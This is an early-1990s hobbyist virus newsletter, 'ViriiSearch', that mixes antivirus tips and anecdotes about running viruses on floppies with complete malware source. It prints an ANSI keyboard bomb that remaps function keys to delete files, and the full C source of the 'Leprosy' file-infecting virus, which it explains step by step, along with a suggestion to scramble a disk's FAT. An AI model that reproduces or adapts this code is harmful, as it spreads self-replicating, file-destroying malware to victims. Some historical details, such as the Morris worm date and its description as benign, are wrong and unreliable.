home *** CD-ROM | disk | FTP | other *** search
- DISCLAIMER:
- The author will NOT accept responsibility for any damage to your
- computer media and/or files, or responsibility for any action you might
- take that will result in legal proceedings, the source code, if any, in
- this newsletter is THE REAL THING, and you, after you read this, will be
- well aware of what virii are capable of, and knowing that, it is expected
- that you will act responsibly.
-
- DISCLAIMER II:
- All I know about programming I have learned on my own, and did not go to
- school for, and am still learning. As a result, I am sometimes prone to
- make mistakes, and be wrong about things, so please be patient if I should
- make a mistake, or say something that isn't true, which would be totally
- unintentional.
-
-
- ViriiSearch
- -----------
-
- The Virus Research Newsletter
-
- Volume 1, Number 1
-
- CREDITS:
- -----------------------------------------------------------------------------
- Author...................................................Criminal Minded <tm>
- Editor...................................................Criminal Minded <tm>
- Ideas, Source, Examples Supplied By......................Criminal Minded <tm>
- Facts Stolen From Several Sources By.....................Criminal Minded <tm>
- -----------------------------------------------------------------------------
-
- Introduction:
-
- Welcome To The First Issue Of Viriisearch, The Virus Research Newsletter.
-
- I have always had a fascination of computer virii, since I first heard the
- word. I, like a lot of people, had no idea what they were about, and was
- extremely curious. And this newsletter will cover my process as I find out
- more about them. How they are written, why they act like they do, and if
- possible, why people would write them.
-
- In this issue:
-
- Prevention And Protection Methods
- The "Internet Worm"
- Trojans, Worms, Virii, Ansi Bombs: What's the difference?
- Benign VS Malignant Virii
- Sample Source Code Of Virii
- Discussion Of The Infection And Encryption Methods Used By "Leprosy"
- The "Uncompress" Virus
- "Suicidal Tendencies" Department/Virus Of The Month
- Discussion Of Anti Viral Software
- Things You Should Know
-
- -----------------------------------------------------------------------------
- Prevention And Protection Methods:
- -----------------------------------------------------------------------------
-
- After the infamous "Michelangelo" panic, I realized what the masses are
- lacking is virus literacy. If people had a understanding of them, and knew
- the appropriate methods of prevention, and dealing with a infection, the
- situation would've never been blown out of proportion like it was. When I
- hear people ask questions such as "If I Put My Toothbrush Near A Infected
- Disk, Will I Catch The Virus When I Brush My Teeth?" I have to laugh...Ok,
- maybe that example is a little exaggerated, but some of the questions are
- hitting close to that level of stupidity, so here are some protection and
- prevention methods:
-
- 1. If you download a file from a public BBS, or a friend gives you a file
- that he downloaded from somewhere, be sure and uncompress the file onto
- a floppy and run your virus scanner on it. NEVER run a new file without
- checking it first. Some people believe a virus scanner can spot a file
- that is infected within a compressed file by running the virus scanner
- on it, this is NOT true. You have to decompress the file first.
-
- By doing this, you are dropping your chances of infection considerably
- BUT there is always the chance of a unknown virus that the scanner won't
- spot so that is why you have to ALWAYS have a backup of all your data on
- tape or disk. That way if the unknown virus wipes your hard drive, you
- have the backup and nothing is lost.
-
- 2. In the event of a virus infection, shut your computer off immediately and
- wait 10-20 seconds. NEVER do a "warm boot" (CTRL-ALT-DEL) because some
- virii can survive through a warm boot. Always do a "cold boot" (Shut the
- computer OFF). After the 10-20 seconds, boot your computer from a CLEAN
- WRITE PROTECTED DOS Bootable disk, and then run your virus scanner from
- a WRITE PROTECTED disk. (The reason for having the disks write protected
- is just in case the virus is still lurking around, it won't be able to
- write itself and infect the floppies). If the virus is a known one, have
- the virus scanner either fix the infected files, or delete them (and
- replace from your backup) or make a note of the infected files and erase
- them manually.
-
- 3. How do you spot a attack by a unknown virus?
-
- A) Change in sizes of files
- B) Change of file dates/times
- C) Deleted files
- D) Slower processing time
- E) Unusual messages
- F) Disk activity, more than usual (Writing to the disk when it's not
- neccesary)
-
- 4. What to do in the event of a unknown virus attack?
-
- A) Follow steps of shutting machine off and re-booting as outlined in
- #2
- B) Run your virus scanner and have it look for files that changed in
- size or date (if your scanner has a feature that makes note of
- original virus sizes/dates/times)
- C) If your virus scanner doesn't make note of original sizes/dates/times
- you can always make note of them manually and then check them yourself.
- It's time consuming, but can prevent serious damage to your data, and
- you should try to isolate a infected file and send it to ME (info on
- how to get it to me at the end of the newsletter) so I can attempt to
- dissect it and notify the appropriate person of the new virus.
- D) Some virus scanners come with a TSR that will prevent any writing to
- disk, it will pop a window or message on the screen saying: Attempting
- to write to <filename> Do you wish to do so? If something is trying to
- write to a file that shouldn't be written to at that time, chances are
- you are dealing with a unknown virus and should say no. Then try to
- find and isolate the virus.
- E) How do you spot a unknown virus or a known virus without running
- a virus scanner?
-
- 1) Most virii are tiny (2 kilobytes to 10 kilobytes) and the majority
- of them are .COM files so if you have, let's say, a 6K .COM file
- that claims to be a "awesome game" I'd be a little bit suspicious.
- 2) Weird names. I would not run "DIE.COM" or "KILLER.COM" and over
- the years I have run into files named that, when people tried to
- infect my computer. At least they could've named it something else
- not so obvious.
- 3) As stated in #1, the MAJORITY of them are small .COM files but they
- can be .EXE files as well, and bigger then 10K.
-
- All it takes is a little bit of common sense, and 99% of what could've been
- virus attacks on your computer can be prevented. All you have to remember is
- that they cannot infect your machine unless run first...BUT there is one
- virus out there that, when uncompressed, activates itself. This virus does
- NOT have to be executed in order to infect your machine, and it will be
- discussed later on. In the event of where this "uncompress" virus wipes some
- of your data, or any other virus, that's what backups are for. ALWAYS HAVE A
- BACKUP OF YOUR HARD DRIVE and NEVER put a floppy in the drive and run a
- program when there is a virus in memory because, chances are, that floppy
- will get ruined/infected as well, unless it is write protected. The instant
- you are aware of a infection, shut the machine off! Because there are some
- virii that, upon finding a write protected floppy that it cannot infect, or
- something else it can't do, "get mad" and cause destruction.
-
- -----------------------------------------------------------------------------
- The "Internet Worm"
- -----------------------------------------------------------------------------
-
- This has to be the most widely publicized case of a virus attack ever.
-
- On 10/02/88, Robert Morris Jr., a graduate student, wrote and released a worm
- that infected "Internet" the worldwide network. Within hours, it infected
- thousands of computers. The worm was benign, not causing any damage to files
- or media, but replicated itself over and over rapidly, and resulted in the
- computers on Internet having to be shut down and all copies of the worm
- removed. Some of the hosts were still disconnected from the network eight
- days later, showing the impact this worm had. Morris claimed he did it as a
- experiment, and made a mistake in how fast it actually would replicate. The
- media, namely NY Times, USA Today, and The Wall Street Journal, gave the worm
- front page coverage. On November 4th, teams at several institutions went to
- work and successfully "decompiled" the worm and studied it in the language it
- was written in, "C language", but the source code was never released for fear
- of hackers using the source for malicious purposes. In the end, Morris was
- removed from school, ordered to pay $10,000 in fines, perform 400 hours of
- community services and was on 3 years probation. Some people argued as to
- whether or not Morris was guilty because he evidently didn't do it to cause
- damage, but rather as a experiment that went wrong.
-
- What the worm did: It hacked it's way into hosts attached to the internet by
- cracking passwords and then replicated itself rapidly, taking up all the
- memory and forcing the hosts to be shut down.
-
- -----------------------------------------------------------------------------
-
- Trojans, Worms, Virii, Ansi Bombs: What's the difference?
-
- -----------------------------------------------------------------------------
-
- Trojans: Programs disguised as a useful program or a existing real program
- that can cause damage on your system.
-
- Worms: Benign virii, rarely causing damage to media or files, such as the
- Internet worm.
-
- Ansi Bombs: Tiny programs that use ANSI to remap your keyboard causing keys,
- when pressed, to do other things.
-
- Example: If a ansi bomb was in memory, and it remapped the "K" key to erase
- all the files in the current directory, as soon as you pressed K
- the files would be gone. Usually when you type C>ERASE *.*
- MS-DOS will respond with: All the files in the current directory
- will be deleted! Are you sure (y/n)?
-
- Some ansi bombs are intelligent and can prevent such DOS messages
- from appearing.
-
- -----------------------------------------------------------------------------
-
- Here is the source code to a simple ansi bomb:
-
- -----------------------------------------------------------------------------
-
- #include <stdio.h>
- #define KILL(K, S) printf("\033[0;%d;\"%s\";13p", K, S)
- #define F1 59
- #define F2 60
- #define F3 61
- #define F4 62
- main()
- {
- KILL(F1, "DEL *.ZIP");
- KILL(F2, "DEL *.ARJ");
- KILL(F3, "DEL *.COM");
- KILL(F4, "DEL *.EXE");
- }
-
- -----------------------------------------------------------------------------
-
- This just assigns the string (DEL *.ZIP etc) to the respective keys. If this
- ansi bomb was in memory, and you pressed F1, it would delete all the files
- in the current directory with the extension of .ZIP. The command (DEL *.ZIP)
- would appear on the screen though, and you could use a file recovery program
- to recover the deleted files. There are more lethal ansi bombs, ones that can
- format your hard drive and other such destructive acts.
-
- Prevention: Use NANSI or ZANSI rather than ANSI and the ansi bombs won't work.
-
- -----------------------------------------------------------------------------
-
- Virii: Destructive programs that use 'stealth' techniques, and can replicate.
- Not All virii are destructive, some can be benign, and just pop up
- annoying messages time to time or slow down system speed.
-
- -----------------------------------------------------------------------------
-
- No more will be discussed of ANSI Bombs or Trojans as this newsletter is
- dedicated entirely to virii.
-
- -----------------------------------------------------------------------------
-
- Benign VS Malignant Virii:
-
- -----------------------------------------------------------------------------
-
- Benign Virii do not cause damage but do things such as take up all the memory,
- slow processing speed down, and send annoying messages to the console, or the
- printer, etc...
-
- Maligant, or Malicious, Virii cause actual destruction, deleting files,
- destroying the FAT or boot sector, locking up the computer, formatting disks
- or hard drives, etc...
-
- -----------------------------------------------------------------------------
-
- Virus Source Code:
-
- -----------------------------------------------------------------------------
-
- Now for the real thing, we will start with the C Language source code to the
- "Leprosy" Virus.
-
- -----------------------------------------------------------------------------
-
- #pragma inline
-
- #define CRLF "\x17\x14" /* CR/LF combo encrypted. */
- #define NO_MATCH 0x12 /* No match in wildcard search. */
-
- char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83.";
- char *virus_msg[3] =
- {
- CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
- CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
- CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
- };
-
-
-
- struct _dta /* Disk Transfer Area format for find. */
- {
- char findnext[21];
- char attribute;
- int timestamp;
- int datestamp;
- long filesize;
- char filename[13];
- } *dta = (struct _dta *) 0x80; /* Set it to default DTA. */
-
-
- const char filler[] = "XX"; /* Pad file length to 666 bytes. */
- const char *codestart = (char *) 0x100; /* Memory where virus code begins. */
- const int virus_size = 666; /* The size in bytes of the virus code. */
- const int infection_rate = 4; /* How many files to infect per run. */
-
- char compare_buf[20]; /* Load program here to test infection. */
- int handle; /* The current file handle being used. */
- int datestamp, timestamp; /* Store original date and time here. */
- char diseased_count = 0; /* How many infected files found so far. */
- char success = 0; /* How many infected this run. */
-
-
- /* The following are function prototypes, in keeping with ANSI */
- /* Standard C, for the support functions of this program. */
-
- int find_first( char *fn );
- int find_healthy( void );
- int find_next( void );
- int healthy( void );
- void infect( void );
- void close_handle( void );
- void open_handle( char *fn );
- void print_s( char *s );
- void restore_timestamp( void );
-
-
-
- /*----------------------------------*/
- /* M A I N P R O G R A M */
- /*----------------------------------*/
-
- int main( void ) {
- int x = 0;
- do {
- if ( find_healthy() ) { /* Is there an un-infected file? */
- infect(); /* Well, then infect it! */
- x++; /* Add one to the counter. */
- success++; /* Carve a notch in our belt. */
- }
- else { /* If there ain't a file here... */
- _DX = (int) ".."; /* See if we can step back to */
- _AH = 0x3b; /* the parent directory, and try */
- asm int 21H; /* there. */
- x++; /* Increment the counter anyway, to */
- } /* avoid infinite loops. */
- } while( x < infection_rate ); /* Do this until we've had enough. */
- if ( success ) /* If we got something this time, */
- print_s( fake_msg ); /* feed 'em the phony error line. */
- else
- if ( diseased_count > 6 ) /* If we found 6+ infected files */
- for( x = 0; x < 3; x++ ) /* along the way, laugh!! */
- print_s( virus_msg[x] );
- else
- print_s( fake_msg ); /* Otherwise, keep a low profile. */
- return;
- }
-
-
- void infect( void ) {
- _DX = (int) dta->filename; /* DX register points to filename. */
- _CX = 0x00; /* No attribute flags are set. */
- _AL = 0x01; /* Use Set Attribute sub-function. */
- _AH = 0x43; /* Assure access to write file. */
- asm int 21H; /* Call DOS interrupt. */
- open_handle( dta->filename ); /* Re-open the healthy file. */
- _BX = handle; /* BX register holds handle. */
- _CX = virus_size; /* Number of bytes to write. */
- _DX = (int) codestart; /* Write program code. */
- _AH = 0x40; /* Set up and call DOS. */
- asm int 21H;
- restore_timestamp(); /* Keep original date & time. */
- close_handle(); /* Close file. */
- return;
- }
-
-
- int find_healthy( void ) {
- if ( find_first("*.EXE") != NO_MATCH ) /* Find EXE? */
- if ( healthy() ) /* If it's healthy, OK! */
- return 1;
- else
- while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
- if ( healthy() )
- return 1; /* If you find one, great! */
- if ( find_first("*.COM") != NO_MATCH ) /* Find COM? */
- if ( healthy() ) /* If it's healthy, OK! */
- return 1;
- else
- while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
- if ( healthy() )
- return 1; /* If you find one, great! */
- return 0; /* Otherwise, say so. */
- }
-
-
-
- int healthy( void ) {
- int i;
- datestamp = dta->datestamp; /* Save time & date for later. */
- timestamp = dta->timestamp;
- open_handle( dta->filename ); /* Open last file located. */
- _BX = handle; /* BX holds current file handle. */
- _CX = 20; /* We only want a few bytes. */
- _DX = (int) compare_buf; /* DX points to the scratch buffer. */
- _AH = 0x3f; /* Read in file for comparison. */
- asm int 21H;
- restore_timestamp(); /* Keep original date & time. */
- close_handle(); /* Close the file. */
- for ( i = 0; i < 20; i++ ) /* Compare to virus code. */
- if ( compare_buf[i] != *(codestart+i) )
- return 1; /* If no match, return healthy. */
- diseased_count++; /* Chalk up one more fucked file. */
- return 0; /* Otherwise, return infected. */
- }
-
-
- void restore_timestamp( void ) {
- _AL = 0x01; /* Keep original date & time. */
- _BX = handle; /* Same file handle. */
- _CX = timestamp; /* Get time & date from DTA. */
- _DX = datestamp;
- _AH = 0x57; /* Do DOS service. */
- asm int 21H;
- return;
- }
-
-
- void print_s( char *s ) {
- char *p = s;
- while ( *p ) { /* Subtract 10 from every character. */
- *p -= 10;
- p++;
- }
- _DX = (int) s; /* Set DX to point to adjusted string. */
- _AH = 0x09; /* Set DOS function number. */
- asm int 21H; /* Call DOS interrupt. */
- return;
- }
-
-
- int find_first( char *fn ) {
- _DX = (int) fn; /* Point DX to the file name. */
- _CX = 0xff; /* Search for all attributes. */
- _AH = 0x4e; /* 'Find first' DOS service. */
- asm int 21H; /* Go, DOS, go. */
- return _AX; /* Return possible error code. */
- }
-
-
- int find_next( void ) {
- _AH = 0x4f; /* 'Find next' function. */
- asm int 21H; /* Call DOS. */
- return _AX; /* Return any error code. */
- }
-
-
- void open_handle( char *fn ) {
- _DX = (int) fn; /* Point DX to the filename. */
- _AL = 0x02; /* Always open for both read & write. */
- _AH = 0x3d; /* "Open handle" service. */
- asm int 21H; /* Call DOS. */
- handle = _AX; /* Assume handle returned OK. */
- return;
- }
-
-
- void close_handle( void ) {
- _BX = handle; /* Load BX register w/current file handle. */
- _AH = 0x3e; /* Set up and call DOS service. */
- asm int 21H;
- return;
- }
-
- -----------------------------------------------------------------------------
-
- With source code discussed in this newsletter, main areas covered will be on
- encryption techniques, how the virus infects files, how they 'replicate'
- and 'breed' and how 'stealth techniques' are implemented in the code.
-
- In this case we will cover how the virus infects the files and encrypts.
-
- -----------------------------------------------------------------------------
-
- Infection Method:
-
- -----------------------------------------------------------------------------
- void infect( void ) {
- _DX = (int) dta->filename; /* DX register points to filename. */
- _CX = 0x00; /* No attribute flags are set. */
- _AL = 0x01; /* Use Set Attribute sub-function. */
- _AH = 0x43; /* Assure access to write file. */
- asm int 21H; /* Call DOS interrupt. */
- open_handle( dta->filename ); /* Re-open the healthy file. */
- _BX = handle; /* BX register holds handle. */
- _CX = virus_size; /* Number of bytes to write. */
- _DX = (int) codestart; /* Write program code. */
- _AH = 0x40; /* Set up and call DOS. */
- asm int 21H;
- restore_timestamp(); /* Keep original date & time. */
- close_handle(); /* Close file. */
- return;
- }
-
- -----------------------------------------------------------------------------
- void infect( void ) is just what he named this function.
-
- The function will return nothing, and be called with no parameters as the two
- "voids" suggest.
-
- Register DX points to the filename as declared in the structure "_dta"
-
- -----------------------------------------------------------------------------
-
- _dta structure:
-
- -----------------------------------------------------------------------------
-
- struct _dta
- {
- char findnext[21];
- char attribute;
- int timestamp;
- int datestamp;
- long filesize;
- char filename[13];
- } *dta = (struct _dta *) 0x80;
-
- -----------------------------------------------------------------------------
-
- Next in the "infect" function, 0x00 is assigned to the CX register.
-
- With function 43H in assembly, register CX is assigned with the bit of the
- attribute that you want to set the file to.
-
- Bit: Attribute:
-
- 0 Read Only
- 1 Hidden
- 2 System
- 3-4 Reserved
- 5 Archive
- 6-15 Reserved
-
- Because the author assigned 0x00 to CX, none of the above attributes were set
- on the file, allowing it to be written to.
-
- Next in the "infect" function is 0x01 being assigned to register AL
-
- 0x01 is telling the program we want to SET attributes.
-
- Then following that is: 0x43 being assigned to AH
-
- Which is telling the program we want to use function 43H (Get/Set Attributes)
-
- The current handle is assigned to register BX
-
- The size of the virus code, or the number of bytes to write, stored in the
- integer "virus_size" is assigned to register CX
-
- virus_size is declared and initialized at the beginning of the source code
- as a integer with the value "666"
-
- Then the virus code is written to the file, the file is closed and the
- original date and time the file had are restored.
-
- -----------------------------------------------------------------------------
-
- The Method Of Encryption:
-
- -----------------------------------------------------------------------------
- void print_s( char *s ) {
- char *p = s;
- while ( *p ) { /* Subtract 10 from every character. */
- *p -= 10;
- p++;
- }
- _DX = (int) s; /* Set DX to point to adjusted string. */
- _AH = 0x09; /* Set DOS function number. */
- asm int 21H; /* Call DOS interrupt. */
- return;
- }
- -----------------------------------------------------------------------------
-
- The above function used in "Leprosy", called "print_s" accepts one parameter,
- a string of text, like these ones defined at the beginning of the Leprosy
- source code:
-
- -----------------------------------------------------------------------------
- char *virus_msg[3] =
- {
- CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
- CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
- CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
- };
-
- -----------------------------------------------------------------------------
- Note: CRLF is defined as "\x17\x14" at the beginning of the source, \x17
- being the hexadecimal code for a carriage return and \x14 the code for a line
- feed.
- -----------------------------------------------------------------------------
-
- When a string is passed to the "print_s" function, it is un-encrypted.
-
- print_s(virus_msg[0]);
- print_s(virus_msg[1]);
- print_s(virus_msg[2]);
-
- would result in the following being printed to the screen:
- ------------------------------------------------------------
-
- NEWS FLASH!! Your system has been infected with the
-
- incurable decay of LEPROSY 1.00, a virus invented by
-
- PCM2 in June of 1990. Good luck!
-
- -----------------------------------------------------------
-
- The compiler I currently use does not accept inline assembly
- code as the author of leprosy had in his source so I modified
- the "print_s" function so I could compile it:
-
- For those interested, I use Microsoft Quick C (C) Microsoft
-
- -----------------------------------------------------------
-
- /* NOTE: I removed the . from the end of each message because that is */
- /* A $ when un-encrypted, and the $ to terminate the string is only */
- /* required for the assembly version of the "print_s" function */
-
- /* Also: The hexadecimal constants in the strings are as follows: */
-
- /* \x13 = TAB, \x7f = u, \x83 = y, \x81 = w, \x80 = v */
-
-
- #include <stdio.h>
- #define CRLF "\x17\x14"
- char *virus_msg[3] =
- {
- CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro",
- CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83",
- CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14"
- };
-
- void print_s (char *s);
- int main (void);
-
- main()
- {
- print_s(virus_msg[0]);
- print_s(virus_msg[1]);
- print_s(virus_msg[2]);
- }
-
- void print_s (char *s) {
- char *p = s;
- while ( *p ) {
- *p -= 10;
- p++;
- }
- printf("%s\n",s);
- }
-
- -----------------------------------------------------------------------------
-
- *p -= 10; is what does it all. It adds the value of 10 to each character and
- can be used either way, to unencrypt or to encrypt.
-
- if you change it to: *p += 10;
-
- it will then encrypt.
-
- You can also change it to:
-
- *p -= rand() % 35000; /* #include <stdio.h> for "rand()" */
-
- and it will change the value it uses to encrypt or un-encrypt everytime it
- passes through the "while" loop or you can change it to any value you like.
-
- -----------------------------------------------------------------------------
-
- This method of encryption can be used to encrypt files, file allocation
- tables, boot sectors, etc. All you need is a function that reads and writes
- either of the three. For instance, read the contents of the File Allocation
- Table, and pass the string(s) through the print_s function and then write
- the encrypted string(s) back to the File Allocation Table. I don't suggest
- doing this to your hard drive, or anyone elses, for it will result in either
- you or the other person having to crack the encryption and restore the FAT
- manually, or formatting the hard drive and replacing all the files. If you
- want to experiment, do it on a floppy, like I did.
-
- -----------------------------------------------------------------------------
-
-
- The "uncompress" virus
-
- -----------------------------------------------------------------------------
-
- According to the person who uploaded it to the BBS where I got it from, this
- virus infects when you uncompress the file.
-
- I did not find any indication of this when I uncompressed the file, called
- NJERU.ARJ. It is a Arkanoid II: Revenge Of Doh crack released by FiRM that
- is infected with a strain of Jerusalem-4.
-
- I ran it and Norton Anti Virus (C) Symantec reported the virus in memory.
- I then proceeded to run EDLIN.EXE (C) Microsoft, SYS.COM (C) Microsoft,
- COMMAND.COM (C) Microsoft, and ARJ.EXE (C) Robert K. Jung to see what would
- happen. These are the results:
-
- Filename: Original Size: Size After Infection:
-
- EDLIN.EXE 14,121 bytes 15,936 bytes
- ARJ.EXE 98,968 bytes 100,784 bytes
- SYS.COM 13,440 bytes 15,253 bytes
-
- There were no size changes to COMMAND.COM, nor was it infected.
-
- A file was also created by the virus called "NJVR._OO" that was around 26K
- but only had one line in it, a error message concerning the media of the disk.
- Sorry, the exact size of the file NVJR._OO and the exact message are not
- available. When I attempted to remove the apparent text file using the
- MS-DOS "DEL" command, it displayed the error message and tried to write to
- drive A which was write protected at the time. Then it went back to drive B
- and apparently did damage to the media. I formatted the disk and it was fine
- afterwards. I have never seen anything like this before, a text file being
- able to do damage just by attempting to delete it. I guess it wasn't a text
- file after all but I still have no idea how it managed to corrupt the media
- on drive B. It also created a file called "N" which was 0 bytes and couldn't
- be deleted or read by Norton Anti Virus.
-
- -----------------------------------------------------------------------------
-
- "Suicidal Tendencies" Department.
-
- (Appropriately named department: I can't believe I am deliberately running
- a virus on my system)
-
- This section of the newsletter will cover what happened when I run a virus
- on a floppy with MSDOS.SYS, IO.SYS, COMMAND.COM, a overlay file, a .EXE file
- and a few other assorted files on it.
-
- The virus of the month award goes to: The Perfume Virus
-
- -----------------------------------------------------------------------------
-
- What Happened:
-
- -----------------------------------------------------------------------------
-
- Filename: PERFUME.COM Filesize: 806 bytes
-
- Ok, I placed this file on drive B with the following files:
-
- Filename: Original Size:
- ----------------------------------
- COMMAND.COM 47845
- MSDOS.SYS 37394
- IO.SYS 33430
- ANSI.SYS 9029
- RAMDRIVE.SYS 5873
- CONFIG.SYS 39
- UNDELETE.EXE 13924
- AUTOEXEC.BAT 69
- 15ALL05.DEF 67278
- MICHEL.DEF 456
- NSETUP.OVL 876
- PKUNZIP.EXE 23528
- ----------------------------------
-
- When I ran PERFUME.COM, it displayed the message: This is a tiny COM program.
- and it infected COMMAND.COM, enlarging it by 765 bytes to 48,610 bytes.
- It then proceeded to remove the hidden/system attribute from MSDOS.SYS but
- didn't infect it and then attempted to infect the disk in drive A, which was
- write protected at the time. The virus, realizing it couldn't write to drive
- A, displayed the message:
- Not ready reading drive A
- Insert disk with \COMMAND.COM in drive A
- Press any key to continue . . .
-
- Now, usually when DOS displays that message, it only needs to READ, and still
- could've if the disk was write protected, so evidently the virus was
- trying to outsmart me and fool me into thinking that was a DOS message so it
- could infect at least one more disk.
-
- I ran Norton Anti Virus v2.0 (C) Symantec, and it reported Perfume in memory
- so I re-booted and ran NAV again, this time it didn't report the virus being
- in memory, but did identify COMMAND.COM and PERFUME.COM as being infected.
-
- Also:
-
- In my search for the virus of the month, I came across a file called
- "ISRAELI.ZIP" which I thought to be a virus called "Israeli" but as it turns
- out it was a strain of Jerusalem-4, the same as the supposed "Uncompress
- virus" discussed earlier. The file was called: SORTINFT.EXE and was 3760
- bytes. When I ran it, it did no damage to the disk or files but NAV did
- report Jerusalem-4 in memory so I re-booted. I then ran NAV again and when
- the screen came up saying who the copy of NAV was registered to, it said:
-
- Registered To:
-
- Criminal Miτφed <tm>
- Viriisearch NeöÉletter, Inc.
-
- Weird eh? And that's not all, I went to scan memory, and the little window
- came up that it displays the name of the current virus being scanned for, but
- that's it, no names were displayed. The program appeared to freeze up, and
- the disk kept spinning with the drive light on. I re-booted once again and
- ran NAV again. The weird letters were still there but it scanned memory no
- problem this time. I exited it from NAV and went to drive B to delete files
- when I noticed a file called: NRVN E._OO that was 4096 bytes long. Since when
- does DOS allow spaces in filenames? As a result I couldn't view it or delete
- it by typing: C>DEL NRVN E._OO so I typed: C>DEL *._OO and that worked. At
- one point a message also came up on the screen: "File Allocation Table Bad,
- Drive B". I imagine Jerusalem-4 was responsible for the weird file name and
- the bad FAT on drive B. I have no idea why NAV was acting funny, possibly
- a genuine disk error and not due to a virus, since the disk was always write
- protected.
-
- -----------------------------------------------------------------------------
-
- Well, that's it for "Suicidal Tendencies" for this month!
-
- I don't recommend trying this on any computer with a hard drive. I do not have
- a hard drive on the machine I do my experimenting on, so if I am careful and
- keep the virus isolated to one disk, I have nothing to worry about.
-
- -----------------------------------------------------------------------------
-
- Anti Viral Software:
-
- -----------------------------------------------------------------------------
-
- Here are some nice virus scanners/anti viral programs to check out:
-
- -----------------------------------------------------------------------------
-
- Scan v89b (C) McAfee - available on most Public Domain BBSes
-
- Clean v89b (C) McAfee - available on most Public Domain BBSes
-
- Norton Anti Virus v2.0 (C) Symantec
-
- Central Point Anti Virus (C) Central Point Software
-
- There are a few others, but I think the above four are the best. I use
- Norton Anti Virus and Scan.
-
- -----------------------------------------------------------------------------
-
- Some things you should know:
-
- -----------------------------------------------------------------------------
-
- Most people assume that a hard drive in a newly purchased computer, or a new
- program still in the shrinkwrap are always virus free. Well, this is just not
- true. The reported cases are few and far in between, but today anything can
- happen, and it has. A certain computer company shipped out 500 of their
- computers infected with the Michaelangelo virus, which started the whole
- panic in the first place. And there have been a few times where someone bought
- a brand new program, took it home and started using it, not expecting it to
- be infected with a virus. Well, it was. After all, people create virii and
- people work at computer companies, and software distributors. So what's
- stopping a pissed off employee from infecting a computer or a program? Nothing
- at all.
-
- How you take this information is entirely up to you.
-
- If you call a BBS and they say they scan for virii, don't assume that every
- single file will be virus free, some can sneak through. There is also the
- possibility of a unknown virus that was not detected by the scanner.
-
- Last but not least: ALWAYS BACK UP YOUR DATA!!!
-
- Philosophy Dept:
-
- "Knowledge is power" - Francis Bacon, 16th Century Philosopher
-
- "Even if a computer is locked, sealed in concrete, placed in a lead room and
- surrounded by armed guards, I'd still have my doubts."
-
- Those aren't the exact words and I forget who said that, but it is quite
- appropriate and all too true.
-
- I hope you enjoyed this issue of "Viriisearch" The newsletter dedicated
- entirely to computer virii.
-
-
- Until Next Time......Be Careful!!!
-
- * Criminal Minded <tm> *
- -----------------------------------------------------------------------------
-
-